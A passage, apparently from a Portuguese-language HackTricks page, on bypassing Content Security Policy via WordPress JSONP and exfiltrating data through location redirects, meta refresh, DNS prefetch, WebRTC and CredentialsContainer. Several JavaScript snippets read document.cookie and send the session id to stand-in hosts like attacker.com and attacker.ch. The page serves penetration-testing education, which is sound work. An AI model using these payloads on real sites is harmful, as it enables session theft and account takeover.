Um atacante pode abusar desse endpoint para generate a SOME attack contra WordPress e embed isso dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> note que este script será loaded porque está allowed by 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do SOME attack através do endpoint vulnerable callback que bypasses the CSP para dar mais privilégios a um usuário, instalar um novo plugin...
Para mais informações sobre como perform this attack confira https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração do CSP

Se houver um CSP estrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar a informação.

Location

Você poderia apenas atualizar a location para enviar ao servidor do atacante a informação secreta:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vai leak conteúdo)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Para carregar páginas mais rápido, os navegadores vão pré-resolver hostnames em IP addresses e armazená-los em cache para uso posterior.
Você pode indicar um navegador para pré-resolver um hostname com: <link rel="dns-prefetch" href="something.com">

Você poderia abusar desse comportamento para exfiltrate informações sensíveis via DNS requests:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Outra maneira:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Para evitar que isso aconteça, o servidor pode enviar o HTTP header:

X-DNS-Prefetch-Control: off

tip

Aparentemente, esta técnica não funciona em headless browsers (bots)

WebRTC

Em várias páginas você pode ler que WebRTC não verifica a política connect-src do CSP.

Na verdade você pode leak informações usando uma DNS request. Confira este código:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Outra opção:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Funciona apenas em um contexto seguro (HTTPS) ou em localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Verificando políticas CSP online

Criando CSP automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks